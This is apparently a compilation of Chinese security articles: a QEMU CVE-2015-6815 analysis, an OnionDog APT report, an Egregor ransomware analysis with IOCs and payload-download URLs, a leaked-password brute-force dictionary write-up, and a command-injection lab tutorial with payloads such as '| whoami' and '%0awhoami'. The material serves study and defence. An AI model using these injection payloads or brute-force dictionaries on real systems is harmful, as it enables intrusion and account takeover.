360虚拟化安全团队(MarvelTeam)近日发现了多个虚拟化软件安全漏洞,使用kvm和xen作为虚拟化平台的公司业务都将会受这批漏洞影响。该漏洞一旦被攻击者恶意利用,可以造成三种类型的安全风险:1)虚拟机宕机,影响业务;2)系统资源被强制占用,宿主机及所有虚拟机拒绝服务;3)虚拟机逃逸,攻击者在宿主机中执行任意代码。
我们将陆续公开系列针对虚拟化软件高危0day漏洞的分析文章,揭开宿主机攻击技术的神秘面纱。本文将首先分析KVM虚拟化新型漏洞CVE-2015-6815。
在9月29日的ISC
2015大会上,360虚拟化安全团队(MarvelTeam)安全研究员唐青昊,将进行《云虚拟化系统的漏洞挖掘技术》的议题演讲,进一步分享漏洞挖掘的核心技术。
**0x01 关于QEMU和KVM**
QEMU是一款处理器模拟软件,可以提供用户模式模拟和系统模式模拟。当处于用户模式模拟状态时,将使用动态翻译技术,允许一个cpu构建的进程在另一个cpu上执行。系统模式模拟状态下,允许对整个pc系统的处理器和所使用到的相关外围设备进行模拟。qemu提供的仿真外设包括硬件Video
Graphics Array (VGA) 仿真器、PS/2 鼠标和键盘、集成开发环境(IDE)硬盘和 CD-ROM 接口,以及软盘仿真。也包括对E2000
Peripheral Controller Interconnect (PCI) 网络适配器、串行端口、大量的声卡和 PCI Universal Host
Controller Interface (UHCI) Universal Serial Bus (USB) 控制器(带虚拟 USB
集线器)的仿真。除了仿真标准 PC 或 ISA PC(不带 PCI 总线)外,QEMU 还可以仿真其他非 PC 硬件,如 ARM Versatile
基线板(使用 926E)和 Malta million instructions per second (MIPS) 板。对于各种其他平台,包括 Power
Macintosh G3 (Blue & White) 和 Sun-4u 平台,都能正常工作。
图1.qemu可进行模拟的外围设备
KVM是一种依赖硬件虚拟化技术(Intel VT或者AMD V)的裸机虚拟化程序,它使用 Linux 内核作为它的虚拟机管理程序。对 KVM 虚拟化的支持自
2.6.20 版开始已成为主流 Linux
内核的默认部分。KVM支持的操作系统非常广泛,包括Linux、BSD、Solaris、Windows、Haiku、ReactOS 和 AROS
Research Operating System。
在 KVM 架构中,虚拟机实现为常规的 Linux 进程,由标准 Linux 调度程序进行调度。事实上,每个虚拟 CPU 显示为一个常规的 Linux
进程。这使 KVM 能够享受 Linux 内核的所有功能。设备模拟由提供了修改过的 qemu 版本来完成。
**0x02 QEMU网卡设备简介**
QEMU支持多种网卡设备,可以通过如下的命令去列举所支持的网卡设备类型,一共有8种,基本可以满足大多数操作系统的需求。
图2.qemu支持的虚拟网卡设备
此次漏洞出现在e1000网卡设备中,该网卡的基本功能等同于Intel rc82540EM硬件网卡,支持TSO技术,网络数据传输效率极高。
**0x03 漏洞分析**
CVE-2015-6815是qemu软件的虚拟网卡设备存在的一处逻辑漏洞,攻击者可通过构造恶意的数据流触发该漏洞。
我们分析网卡在处理恶意数据流时执行的逻辑:
a)网卡驱动向网卡设备发送指令,通知网卡设备执行数据发送操作; b)set_tctl(E1000State *s, int index, uint32_t
val)
当网卡设备判断已经设置相关寄存器,即开始进行发包操作,进入set_tctl函数中进行相关处理,函数原型如下:
c) start_xmit(E1000State *s)
start_xmit函数首先检查(s->reg[TCTL]&E1000_TCTL_EN),若等于0,表示没开启发送功能,将直接退出。否则判断是否存在有效的描述符,有的话则依次取出描述符交给process_tx_desc处理。
d)存在漏洞的函数源码如下:
图3.存在漏洞的函数代码
根据注释,可以清晰地看到,该函数的主要目的是按照3种类型来处理网卡数据描述符表中的单个描述符,分别是context descriptor,data
descriptor,legacy
descriptor,这三种类型代表了不同的数据内容:描述信息,数据,遗留信息,网卡通过判断处于何种类型,设置s->tx的状态位,然后根据tp->tse 和
tp->cptst来确定是否要调用xmit_seg函数以及怎样填充buf,由于函数对驱动传进来描述符的内容没有检测,可设置成任意值。xmit_seg函数根据s->tx中各字段的信息来填充s->data,最后调用qemu_send_packet函数发送s->data,qemu_send_packet(nc,
buf, size)。
在该函数的执行过程中,攻击者通过恶意的数据流,可以控制该函数中的tp->hdr_len和tp->mss数据的值,而 msh = tp->hdr_len +
tp->mss。在进入do…while
循环之后,tp->size值为0,而bytes和msh的值可以控制,通过迫使代码逻辑进入第一个if循环,可将bytes设置为msh的值,即bytes也可以被控制。之后,bytes可以一直保持值不变,直至进入while的条件判断语句,此时如果bytes为0,则do…while进入死循环的逻辑。
**0x04 漏洞危害**
攻击者利用该漏洞可以导致虚拟机拒绝服务,并且保持对cpu的高占用率,继而会影响宿主机以及其他虚拟机的正常执行。
我们在测试环境中对该漏洞进行测试,触发前后的截图如下。可以看到,在漏洞触发后宿主机的空闲cpu百分比一直锁定为为0%。
图4.触发漏洞前
图5.触发漏洞后
**0x05 漏洞修补方案**
360虚拟化安全团队(MarvelTeam)在发现了该漏洞之后,第一时间通知QEMU软件官方团队进行修复。官方在20天的紧张修复之后,在9月5日完成对该漏洞的修复补丁。详细信息见<https://access.redhat.com/security/cve/CVE-2015-6815>,该网页也包含了360虚拟化安全团队的致谢。
官方对该漏洞的修补方法如下:
图6.官方提供的漏洞补丁
在该补丁中,开发人员加入了对漏洞关键数据 –
bytes树值的判断,如为0,则退出循环,完美修复漏洞。建议所有使用qemu的厂商采用该补丁,防止攻击者对在虚拟机中利用CVE-2015-6815漏洞。 | 社区文章 |
# “洋葱狗”潜伏3年终曝光 定期偷袭能源及交通行业
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
译文仅供参考，具体内容表达以及含义原文为准。
**360天眼实验室的追日团队日前披露称，一个名为“洋葱狗”（OnionDog）的黑客组织长期对亚洲国家的能源、交通等基础行业进行网络渗透和情报窃取，根据大数据关联分析，“洋葱狗”的首次活动可追溯到2013年10月，之后两年仅在7月底至9月初之间活动，木马自身设定的生命周期平均只有15天，具有鲜明的组织性和目的性。**
“洋葱狗”恶意程序利用了朝鲜语系国家流行办公软件Hangul的漏洞传播，并通过USB蠕虫摆渡攻击隔离网目标。此外，“洋葱狗”还使用了暗网网桥（Onion
City）通信，借此无需洋葱浏览器就可直接访问暗网中的域名，使其真实身份隐蔽在完全匿名的Tor网络里。
**“洋葱狗”APT攻击瞄准基础行业**
“洋葱狗”的攻击目标精准锁定在朝鲜语系国家的基础行业。2015年，该组织主要攻击了港口、VTS（船舶交通服务）、地铁、公交等交通机构；而在此前2014年的一轮攻击中，“洋葱狗”则侵袭了多家电力公司和水资源公社等能源企业。
图1、“洋葱狗”攻击流程
截至目前，360威胁情报中心共发现“洋葱狗”相关的96组恶意代码、14个C&C域名和IP。其首次出现在2013年10月，之后都是在夏天集中出现，而且木马设定了自身的存活时间，从木马被编译出来到终止活动最短只有3天，最长也不过29天，平均生命周期为15天，这也使其相比长期活跃的黑客攻击更难以被受害企业察觉和重视。
图2、“洋葱狗”恶意代码的生命周期
“洋葱狗”的传播渠道以鱼叉式邮件定向发给攻击目标为主，早期版本的木马直接用图标和文件名伪装为HWP文档（Hangul办公软件的文档格式），此后又出现了利用Hangul漏洞的升级版本，就是在真正的HWP文档嵌入恶意代码，打开文档触发漏洞即下载激活木马。
由于能源等重要基础行业普遍采用内网隔离措施，“洋葱狗”则运用U盘摆渡的方式打破了物理隔离的虚假安全感。在震网病毒攻破伊朗核电站的APT攻击经典案例中，病毒利用工作人员的U盘打入隔离网内，“洋葱狗”也借鉴使用了这个通道，生成USB蠕虫向攻击对象的内网进行渗透。
**“强迫症”式精密化组织**
在“洋葱狗”的恶意代码活动中，有着近乎“强迫症”的规范：
首先，恶意代码从被创建的PDB（符号文件）路径上，就有着严格的命名规则，例如USB蠕虫的路径是APT-USB，钓鱼邮件恶意文档的路径是APT-WebServer；
当“洋葱狗”的木马成功释放后，它会请求C&C（木马服务器），下载其它恶意程序并保存到%temp%目录，再统一以“XXX_YYY.jpg”形态作为文件名。这些名称都有着特定涵义，一般是指向攻击目标。
种种迹象表明，“洋葱狗”对出击时间、攻击对象、漏洞挖掘和利用、恶意代码等整套流程都有着严密的组织和部署，同时它还非常重视隐藏自己的行迹。
2014年，“洋葱狗”使用了韩国境内的多个固定IP作为木马服务器地址，当然这并不意味着攻击者位于韩国，这些IP更可能只是傀儡机和跳板。到了2015年，“洋葱狗”的网络通信全面升级为暗网网桥，这也是目前APT黑客攻击中比较高端和隐蔽的网络通信方式。
暗网网桥，是指暗网搜索引擎利用Tor2web代理技术，可以深度访问匿名的Tor网络，而无需再专门使用洋葱浏览器。“洋葱狗”正是利用暗网网桥将控制木马的服务器藏匿在Tor网络里。
近年来，针对基础行业设施和大型企业的黑客APT攻击活动频繁曝出，其中有的会攻击工控系统，如Stuxnet（震网）、Black
Energy（黑暗力量）等，直接产生巨大的破坏力；还有的则是以情报窃取为主要目的，如此前由卡巴斯基、AlienVault实验室和Novetta等协作披露的Lazarus黑客组织，以及360追日团队最新曝光的OnionDog（洋葱狗），这类秘密活动的网络犯罪所造成的损失同样严重。
根据“洋葱狗”的活动规律，今年夏天很可能又是其新一轮攻势的开始，相关威胁情报及技术分析报告将由360威胁情报中心（https://ti.360.com）持续发布。
**关于360追日团队**
360追日团队（Helios
Team）是360公司高级威胁研究团队，从事APT攻击发现与追踪、互联网安全事件应急响应、黑客产业链挖掘和研究等工作。团队成立于2014年12月，在短短的一年时间内整合360公司海量安全数据，实现了威胁情报快速关联溯源，首次发现并追踪数十个APT组织及黑客产业链，扩大了黑客产业研究视野，填补了国内APT研究的空白，并为大量企业和政府机构提供安全威胁评估及解决方案输出。 | 社区文章 |
**译者：知道创宇404实验室翻译组**
**原文链接：<https://labs.sentinelone.com/egregor-raas-continues-the-chaos-with-cobalt-strike-and-rclone/>**
### 概述
Egregor勒索软件是Sekhmet恶意软件家族的一个分支，该家族自2020年9月中旬以来一直处于活跃状态。勒索软件以危害组织，窃取敏感用户数据，加密数据，并要求勒索交换加密文件的方式运作。Egregor是一种勒索软件，它与针对GEFCO、Barnes&Noble、Ubisoft和其他许多公司的网络攻击有关。
多家情报安全公司认为，过去（现已倒闭）的[Maze分支机构](https://labs.sentinelone.com/enter-the-maze-demystifying-an-affiliate-involved-in-maze-snow/
"Maze分支机构")和Egregor之间存在联系。有报道称[Egregor](https://securityboulevard.com/2020/10/egregor-sekhmets-cousin/
"Egregor")与[Sekhmet](https://securityboulevard.com/2020/10/egregor-sekhmets-cousin/
"Sekhmet")、[ProLock](https://www.helpnetsecurity.com/2020/11/23/egregor-ransomware/ "ProLock")和[LockBit](https://www.recordedfuture.com/
"LockBit")也有关联。而ProLock和LockBit都与Maze有关系。对于Sekhmet，我们可以在其配置格式和模糊处理风格上看到很多[相似之处](https://twitter.com/VK_Intel/status/1323534149081272320
"相似之处")。
与其他的勒索软件组织一样，Egregor背后的攻击者会过滤受害者的数据，并在受害者不遵守赎金要求时将其公开曝光。
### Egregor分发方法
Egregor的主要分发方式是Cobalt
Strike。攻击者通过各种手段（[RDP攻击](https://labs.sentinelone.com/case-study-catching-a-human-operated-maze-ransomware-attack-in-action/
"RDP攻击")、[网络钓鱼](https://www.sentinelone.com/blog/technical-analysis-paypal-phishing-scam/ "网络钓鱼")）破坏目标环境，一旦Cobalt
Strike信标有效负载建立并持续存在，就可以利用它来交付和启动Egregor有效负载。
由于Egregor是一个拥有多个分支机构的RaaS，因此交付和武器化策略可能会有所不同。关于Egregor利用[CVE-2020-0688](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-0688 "CVE-2020-0688")（Microsoft
Exchange中的一个远程代码执行漏洞）的报告很少，且未经证实。有[消息](https://www.recordedfuture.com/
"消息")称Egregor可能利用了[CVE-2018-8174](https://nvd.nist.gov/vuln/detail/CVE-2018-8174
"CVE-2018-8174")（VBScript引擎）、[CVE-2018-4878](https://nvd.nist.gov/vuln/detail/CVE-2018-4878
"CVE-2018-4878")（Adobe Flash
Player）和[CVE-2018-15982](https://nvd.nist.gov/vuln/detail/CVE-2018-15982
"CVE-2018-15982")（Adobe Flash
Player）这些漏洞。Egregor被证明使用了[LOTL](https://www.sentinelone.com/blog/how-do-attackers-use-lolbins-in-fileless-attacks/
"LOTL")工具（如bitsadmin）来下载或更新DLL组件。此外，在[最近的活动](https://www.bleepingcomputer.com/news/security/qbot-partners-with-egregor-ransomware-in-bot-fueled-attacks/
"最近的活动")中，我们观察到一些较大的恶意软件家族和框架（如QBot）在使用Egregor。
### Egregor有效负载分析
Egregor有效负载（DLL）是高度模糊的，包括Salsa20加密的配置数据。文件加密是通过ChaCha流密码和RSA的组合实现的。每个有效负载包含一个RSA-2048公钥。
基于DLL的有效负载在启动时需要一个密钥/密码，该密钥特定于每个样本。`-p`参数被传递给与所述密钥连接的有效负载。例如，如果密钥是`123EVILBADGUYS`，则需要参数`-p123EVILBADGUYS`才能成功启动负载。
这种方法还增加了恶意软件逃避检测分析的能力。如果没有传递有效密钥，有效负载将无法解密，并且无法启动或终止。这是在对Egregor有效载荷进行静态和动态分析时需要考虑的一个关键点。
启动有效载荷时，内存中似乎存在其他参数。其中一些是不言自明的，而另一些仍在进行分析。我们在下面总结了参数的用法。
--nomimikatz
--fast
--full ; encryption of entire system (local & network-accessible), no exclusions
--multiproc
--killrdp
--nonet ; exclude encryption of network drives
--path ; encrypt only specific path in this parameter
--target
--append ; customize the file extension to be used for encrypted files
--norename ; skip the process of renaming encrypted files
--greetings ; directly address target (by victim company name, typically)
--samba
对Egregor有效负载的初步分析表明，勒索软件将避免加密系统，那些系统的主要设备语言是以下之一：
* Armenian
* Azerbaijani
* Belarusian
* Georgian
* Kazakh
* Kyrgyz
* Romanian
* Russian
* Tajik
* Tatar
* Turkmen
* Ukrainian
* Uzbek
数据溢出的主要方法似乎是Rclone，它是一个可用于管理远程存储的开源实用程序。Egregor有效负载会将自己的Rclone副本与特殊的配置数据一起发布，从而控制渗透过程。
### Post-Compromise行为
Egregor有一个受害者博客，他们利用这个博客来威胁受害者，并在受害者不遵守赎金要求的情况下发布泄露的数据。截至2020年11月24日，Egregor博客上共有152家公司上榜，涵盖全球多个行业。最常见的行业有:
* 信息技术与服务
* 建设
* 零售
* 消费品
* 汽车
与其他勒索软件一样，Egregor赎金记录遵循一个熟悉的模板。指示受害者访问其基于TOR的支付门户以获取进一步的指示。每个赎金票据的底部还有一个加密的blob，其中包含受害者特定的系统数据以及已编码的RSA公钥。
示例：
---EGREGOR---
pWEzuKkw9nY82VRKYfrw4f4wvrnfnKEApQ5JTkf/YQPzxJtJmwKUjXV759aYQnPIZdGN1RUckdpMZWiYGmsWFYzkNJZpsPihvk9c14zLJDJdmpitYvoy22JFox9iBHqhFAjDC37kzpVH6bafVABdUgUdr0r2EzK+ysJBiR0Ge28ToH94wJTXwBC7hi3G42vk4KmLncPm55NUuz9ZzQ+xqovtN/RyDNL8MDbW4lHWe9Lmi5qlNN/ckIgwDh+sI1rO/T+DmS1Uoo62QWeYTgmlRaCp91AfeC7mNFkXvXUVMs3GlqpIrgbMLPBbBi04sra/pmXp9oteZK4b1fAWKgDZ2B0f11AiX9SFIpJn8odT+Z0tVL2H8IKvANB1507SGq3S2JR3a6SLGODy3yjm3vwfnyaVqL1gNNudkDc5dLVx0tavBj2h5v1PMDCFYpuSZ56qYY1VeQfA56bsPKI2J102ztOktaFmU9jI3G3oxBCV9j1JKOJhltPRjyXAmg9o3sqB5VCxPzmMIL+bxJnEelHdBzVdRpY4pPyEPmdrn2mQ5sXwIA1RfdvF9JruxQF/0yl2WKqK0CE4pKazQWdrYdQaLTPCdMxZv7JKO8Dy5vyHBW08+UTJEuEiQa6Q/1qVkGipUPgK4Wpg3iP6xas9SaV1ovy1o2yC0beVhD+Ean6/5/lfIiG1w/ouzyq0Vprhfmr59ftnduimCDgAPi9mv2Fzg1BcGYt5P0qE7Ya0ycGFyvNvS2eoiA5mjvN67R6jeJ8JF0fPnz7O2QMldjZj0uVfAoMHlgaRP74vOKfOzFHCiPhyXwe8V9Wd3xjctlG4PCVMuUvYn7BFSW82AMefXIWTeIhHD4UdoAuZ3sHsgsFyyaTdVo1WCEWJtMMN0FOyhF0m1R5ozQPJSyuaOUzrDU1fKD57v3Cf5T860kath1w+CQAeWXdbXSR0mvN45rPgYN24qVvvB6kle5Vr20x0EZJ4viCERcreKcJqOV/0GwZU4BR8jUGQkokgD3UvJQf0Vu4mIv6vLZUtvRvEl3URsZNWh7nnKR5jjq3Tx911IH+UQznFncGD402REUpyADZpv0aRfyMZzZFecaxlo/EMS8lhkeukkZQJiwXJH2SV77olADcOfnaOQEq+YU23kRJf+YOdKW3E9NsqF1MKLTdn5+31ka4OyN7wed9HVyJj+clXkNT/YJkS/E869Hm1MPBQv+25451tiXgGcKo/9L5BFmmy77TxYuZMjuRVIanXWwK8tQ+kz0gEj1BG4I477yrhqN2yaQQ2cZ7QhpNPFlnsereCoI8rNBRBp/VgxKS+AKqkKj9UyghlABrYlRypEsM7FDC44tvDJILfb+9IL70qEe+BdPmIIv4/HWHJSEI7K9MWLah7cX4OGLG2eqT9pSkLISFvyEM+9ylo3WYWx2G0m5s0r7O+jRAOdZ1Joy5eGx7PPRCnVcEv0IyhNnFpz4HsNibUAR664rZ+Os05SDNitn3t8RgtAcvTdNHAbtNGLZZj/7KFIyGb1f37teR9/oty8BFsaHhRNVHx22+u+AFR/HbucnbY+prvzAWY3dpjQIO2O+3HoCuz2MXx5gFIfJ0pIA6V9px/j4LOPGPfN159CRItKeOy3ZLtKByaD+FwHBzYHpIWgCvL2vWo+eRWF66oYNvDhB5yVtDgXx0LU789ypKu/vjuvo7obGEoF3NoxJhmNS4DfVMzsy4YdBRhHrBfF36a8ahFSBApu9cd0RmuT09hKmV7m+EGGCXr+MNvzlFQSMzt5Ce5Mj9w507PN/IDLQz8h6236WGZSH2iM2PGUq/UF1wADoHSjPXRcfPparHHHPTcZZkil4HMWP6Y+gDlN0BKKl9ntqyd8QiiqDqwcJIZZG4Jm6lRIhvpBZ14P+z83zePzjMNhVkNVnU4sfDRaemkxZFPF+hGM/PEvqFuEOsX4LfWxOpwLAf+OLLpe71+6QdKDAcwf6553t0TOPCqGr3B+flGGAhi0pqCeAsB0KzS28MakLBxJQPkR/E+F0tHmwBYCCl0haxZnBZ9rJVApq2rAAENA2gQLPaStc0DzrdkIRY6r789la7OzAUqvcTyX8fq/xfYJpz+zUt4PUcVWxoO1+1g9+BpCAlPgZEkIKSbqoSNtkeIMz65CthNiCsX817p8nqBb4BdpcuCihoL49fK6fn/WUnj3xaTiQuNDnvcW9NARgIzqu2lvsZa+qvDBW99gsaeLb4feNlGqZUk98zht7GvywgFEAEYASCAAigAOg5QAEgAWABGAFMAMgAAAEIiQgAwADIARAAwAEYAMwAyAEEAMQBDADkAMgBFADAAOAAAAEqQAXwAQQA6AFIAXwAwAC8AMAB8AEMAOgBGAF8ANAA0ADMAMAA4AC8ANwA2ADQANAA3AHwARAA6AEMAXwAwAC8AMAB8AEUAOgBGAF8AMQA3ADEANgA0ADQALwAyADAAOQA3ADEANAA5AHwARgA6AEYAXwAyADkANAA5ADQANQAvADIAMAA0ADcAOAA2ADgAfAAAAFIQagBnAHIAYQBuAGoAYQAAAGgDckBXAGkAbgBkAG8AdwBzACAAUwBlAHIAdgBlAHIAIAAyADAAMQAyACAAUgAyACAAUwB0AGEAbgBkAGEAcgBkAAAAehJJAE0AUABSAEkATQBJAFMAAAA=
---EGREGOR---
这个“blob”包括与受害者可用的本地驱动器、驱动器的空间和总大小、主机名、发现的任何AV或安全产品的名称、以及用户/域上下文相关的数据。“blob”主要是用base64编码的。解码后，在明文的末尾可以看到相关数据。
### 结论
Egregor是过去6到8个月里最激进、最复杂的勒索软件之一。它造成的损失不仅仅是赎金，还包括任何与数据泄露、公开发布私人数据、GDPR
/合规后果相关的[惩罚](https://www.sentinelone.com/blog/another-business-risk-from-ransomware-beware-ofac-sanctions-before-paying-the-cyber-criminals/ "惩罚")。
### IOC
#### SHA256 Hashes
8483aaf9e1fa5b46486c9f2a14c688c30d2006e88de65d0295a57892de0bf4c9
3fd510a3b2e0b0802d57cd5b1cac1e61797d50a08b87d9b5243becd9e2f7073f
2b3518937fd231560c7dc4f5af672a033b1c810d7f2f82c8151c025ce75775bf
444a6897058fd4965770167b15a2ab13e6fd559a3e6f6cf5565d4d3282587459
c3c50adcc0a5cd2b39677f17fb5f2efca52cc4e47ccd2cdbbf38815d426be9e1
004a2dc3ec7b98fa7fe6ae9c23a8b051ec30bcfcd2bc387c440c07ff5180fe9a
608b5bf065f25cd1c6ac145e3bcdf0b1b6dc742a08e59ec0ce136fe5142774e9
3e5a6834cf6192a987ca9b0b4c8cb9202660e399ebe387af8c7407b12ae2da63
4ea8b8c37cfb02ccdba95fe91c12fb68a2b7174fdcbee7ddaadded8ceb0fdf97
9017c070ad6ac9ac52e361286b3ff24a315f721f488b53b7aaf6ac35de477f44
ee06c557f1acd5c4948b1df0413e49f3885f8ac96185a9d986b91a1231444541
765327e1dc0888c69c92203d90037c5154db9787f54d3fc8f1097830be8c76ab
14e547bebaa738b8605ba4182c4379317d121e268f846c0ed3da171375e65fe4
3fc382ae51ceca3ad6ef5880cdd2d89ef508f368911d3cd41c71a54453004c55
f0adfd3f89c9268953f93bfdfefb84432532a1e30542fee7bddda14dcb69a76c
a9d483c0f021b72a94324562068d8164f8cce0aa8f779faea304669390775436
3aad14d200887119f316be71d71aec11735dd3698a4fcaa50902fce71bdccb07
6ad7b3e0873c9ff122c32006fdc3675706a03c4778287085a020d839b74cd780
932778732711cd18d5c4aabc507a65180bf1d4bd2b7d2d4e5506be4b8193596e
#### SHA1 Hashes
3c03a1c61932bec2b276600ea52bd2803285ec62
f0215aac7be36a5fedeea51d34d8f8da2e98bf1b
948ef8caef5c1254be551cab8a64c687ea0faf84
50c3b800294f7ee4bde577d99f2118fc1c4ba3b9
38c88de0ece0451b0665f3616c02c2bad77a92a2
95aea6b24ed28c6ad13ec8d7a6f62652b039765e
3cc616d959eb2fe59642102f0565c0e55ee67dbc
5c99dc80ca69ce0f2d9b4f790ec1b57dba7153c9
beb48c2a7ff957d467d9199c954b89f8411d3ca8
03cdec4a0a63a016d0767650cdaf1d4d24669795
c9da06e3dbf406aec50bc145cba1a50b26db853a
ceca1a691c736632b3e98f2ed5b028d33c0f3c64
f6ad7b0a1d93b7a70e286b87f423119daa4ea4df
56eed20ea731d28d621723130518ac00bf50170d
fa33fd577f5eb4813bc69dce891361871cda860c
f7bf7cea89c6205d78fa42d735d81c1e5c183041
f1603f1ddf52391b16ee9e73e68f5dd405ab06b0
8768cf56e12a81d838e270dca9b82d30c35d026e
ac6d919b313bbb18624d26745121fca3e4ae0fd3
#### IP Addresses
45[.]153.242.129（[ZoomEye搜索结果](https://www.zoomeye.org/searchResult?q=45.153.242.129
"ZoomEye搜索结果")）
217[.]8.117.148（[ZoomEye搜索结果](https://www.zoomeye.org/searchResult?q=217.8.117.148
"ZoomEye搜索结果")）
45[.]153.242.129（[ZoomEye搜索结果](https://www.zoomeye.org/searchResult?q=45.153.242.129
"ZoomEye搜索结果")）
45[.]11.19.70（[ZoomEye搜索结果](https://www.zoomeye.org/searchResult?q=45.11.19.70
"ZoomEye搜索结果")）
49[.]12.104.241:81（[ZoomEye搜索结果](https://www.zoomeye.org/searchResult?q=49.12.104.241
"ZoomEye搜索结果")）
185[.]238.0.233（[ZoomEye搜索结果](https://www.zoomeye.org/searchResult?q=185.238.0.233
"ZoomEye搜索结果")）
#### Full URL Examples
http://185.238.0[.]233/p.dll
http://185.238.0[.]233/b.dll
http://185.238.0[.]233/sed.dll
http://185.238.0[.]233/hnt.dll
http://185.238.0[.]233/88/k057.exe
http://185.238.0[.]233/newsvc.zip
#### Victim Blog / Archive
http://egregoranrmzapcv[.]onion
https://egregornews[.]com/
#### Payment Portal
http://egregor4u5ipdzhv[.]onion/
#### MITRE ATT&CK
Indicator Removal on Host: File Deletion
[T1070.004](https://attack.mitre.org/techniques/T1070/004/ "T1070.004")
Modify Registry [T1112](https://attack.mitre.org/techniques/T1112/ "T1112")
Query Registry [T1012](https://attack.mitre.org/techniques/T1012/ "T1012")
System Information Discovery
[T1082](https://attack.mitre.org/techniques/T1082/ "T1082")
Native API [T1106](https://attack.mitre.org/techniques/T1106/ "T1106")
Hijack Execution Flow: DLL Side-Loading
[T1574.002](https://attack.mitre.org/techniques/T1574/002/ "T1574.002")
Process Injection [T1055](https://attack.mitre.org/techniques/T1055/ "T1055")
Masquerading [T1036](https://attack.mitre.org/techniques/T1036/ "T1036")
System Time Discovery [T1124](https://attack.mitre.org/techniques/T1124/
"T1124")
Archive Collected Data [T1560](https://attack.mitre.org/techniques/T1560/
"T1560")
Virtualization/Sandbox Evasion
[T1497](https://attack.mitre.org/techniques/T1497/ "T1497")
Software Discovery: Security Software Discovery
[T1518.001](https://attack.mitre.org/techniques/T1518/001/ "T1518.001")
Peripheral Device Discovery [T1120](https://attack.mitre.org/techniques/T1120/
"T1120")
Inhibit System Recovery [T1490](https://attack.mitre.org/techniques/T1490/
"T1490")
Create or Modify System Process: Windows Service
[T1031](https://attack.mitre.org/techniques/T1543/003/ "T1031")
Exfiltration [TA0010](https://attack.mitre.org/tactics/TA0010/ "TA0010")
* * * | 社区文章 |
## 前言
爆破，简单而粗暴，而成功的关键，我觉得在于字典。
随着安全意识的提升，常规的密码字典top100、top500啥的已经开始渐渐吃力起来，于是小弟决定做点工作更新一下密码爆破字典。
当然，收集信息然后按照一定的规则来生成字典，也是比较好的方式，但是不在本文讨论范围，这里只研究比较通用的密码爆破字典。
不想看过程的话直接跳到最后就能白嫖字典了。
## 数据来源
我下载了嘟嘟牛、7K7K、人人网、CSDN、178 游戏网等五个平台的泄露数据，只保留密码这一列，最后经过整理后的总行数为
42,208,168。详细情况如下表：
（数据量肯定是比不上大佬们的sgk的）
## 统计分析
b话一大堆，终于开始进入正题了。
我的思路是提取这些泄露数据中的各种类型的密码，然后按出现频率排序，比如键盘组合top100等等，就能得到各种类型的密码字典。下面细说：
### 键盘组合
键盘组合的密码，还是蛮常见的，我统计过这些网站泄露密码的top10：
可以看到我标红的那些，就是很明显的键盘组合的密码。
键盘组合的匹配方法：
（1） 根据键盘相邻的顺序，生成一组dict或者map，例如`<a,z>，<a,s>`；
（2） 再遍历字符串中的每个字符，判断它与它后面的一个字符是否在这组dict或者map中；
（3） 所有字符均满足此条件则返回True，否则False。
这样我们就能将泄露数据中键盘组合的密码给提取出来。
### 拼音
国人使用拼音也挺多的，比如“woaini”这些，搞一搞还是很有必要的。
提取拼音，稍微复杂一点点，得用到字典树，这里不罗嗦了，代码会放在github里面。
### 数字与字母混合
单一字符组成，现在很多网站都不允许这样设置密码了，所以我准备提取下非单一字符组成的密码，数字与字母混合算是一种比较经典的。最后提取出来发现占了全部密码数据的40%左右。
### 排序
提取出来之后得按频率排序，这里我用的是Linux中的sort指令，例如把test.txt中的内容按重复次数降序输出
>sort test.txt | uniq -c | sort –rn
处理结果是这样，前面是次数，后面是密码：
## 结果
最后直接放结果吧：
<https://github.com/huyuanzhi2/password_brute_dictionary>
键盘组合与拼音类型的字典，都是top100、top500、全部三个文件：
字母数字混合的字典，由于太大，因此没放全部的，只到了top1000。
处理脚本目录中是用到的相关算法。
最后祝各位爆破必成功！ | 社区文章 |
本文由红日安全成员：Once 编写，如有不当，还望斧正。
大家好，我们是 **红日安全-Web安全攻防小组** 。此项目是关于Web安全的系列文章分享，还包含一个HTB靶场供大家练习，我们给这个项目起了一个名字叫
[Web安全实战](https://github.com/hongriSec/Web-Security-Attack)
，希望对想要学习Web安全的朋友们有所帮助。每一篇文章都是于基于 **漏洞简介-漏洞原理-漏洞危害-测试方法（手工测试，工具测试）-靶场测试（分为PHP靶场、JAVA靶场、Python靶场基本上三种靶场全部涵盖）-实战演练（主要选择相应CMS或者是Vulnhub进行实战演练)**
，如果对大家有帮助请 **Star** 鼓励我们创作更好文章。如果你愿意加入我们，一起完善这个项目，欢迎通过邮件形式（ **[email protected]** ）联系我们。
# 1\. 命令执行&代码执行概述
## 1.1 命令执行漏洞原理
在操作系统中，“&、|、||”都可以作为命令连接符使用，用户通过浏览器提交执行命令，由于服务器端没有针对执行函数做过滤，导致在没有指定绝对路径的情况下就执行命令
## 1.2 代码执行漏洞原理
应用有时需要调用一些执行系统命令的函数，如PHP中的system、exec、shell_exec、passthru、popen、proc_popen等，当用户能控制这些函数中的参数时，就可以将恶意系统命令拼接到正常命令中，从而造成命令执行攻击，这就是命令执行漏洞。
## 1.3 命令执行与代码执行漏洞区别
命令执行漏洞是可以直接调用操作系统命令，代码执行漏洞是靠执行脚本代码调用操作系统命令
## 1.4 命令执行&代码执行漏洞危害
可以执行代码、系统命令进行读写文件、反弹shell等操作，拿下服务器，进一步内网渗透等等。
# 2.漏洞测试
## 2.1 靶机测试
这里我们使用web for pentester进行测试
### 2.1.1 安装步骤
下载地址：<https://download.vulnhub.com/pentesterlab/web_for_pentester_i386.iso>
我们只需要VMware安装镜像文件即可使用
新建虚拟机
默认下一步
选择镜像文件
设置虚拟机名称和存放位置
磁盘大小默认即可
开启此虚拟机
查看ip地址
搭建成功，这里用Commands injection、Code injection做演示
### 2.1.2 Commands injection Example 1
从代码可以看出未做过滤
<?php
system("ping -c 2 ".$_GET['ip']);
?>
使用|连接符跟上要执行的命令
<http://192.168.245.131/commandexec/example1.php?ip=127.0.0.1> | whoami
### 2.1.3 Commands injection Example 2
从代码可以看出使用/m，/m只匹配一行，所以可以使用换行符绕过
<?php
if (!(preg_match('/^\d{1,3}\.\d{1,3}\.\d{1,3}.\d{1,3}$/m', $_GET['ip']))) {
die("Invalid IP address");
}
system("ping -c 2 ".$_GET['ip']);
?>
使用%0a进行绕过
<http://192.168.245.131/commandexec/example2.php?ip=127.0.0.1%0awhoami>
### 2.1.4 Commands injection Example 3
进行了限制，但是有重定向
<?php
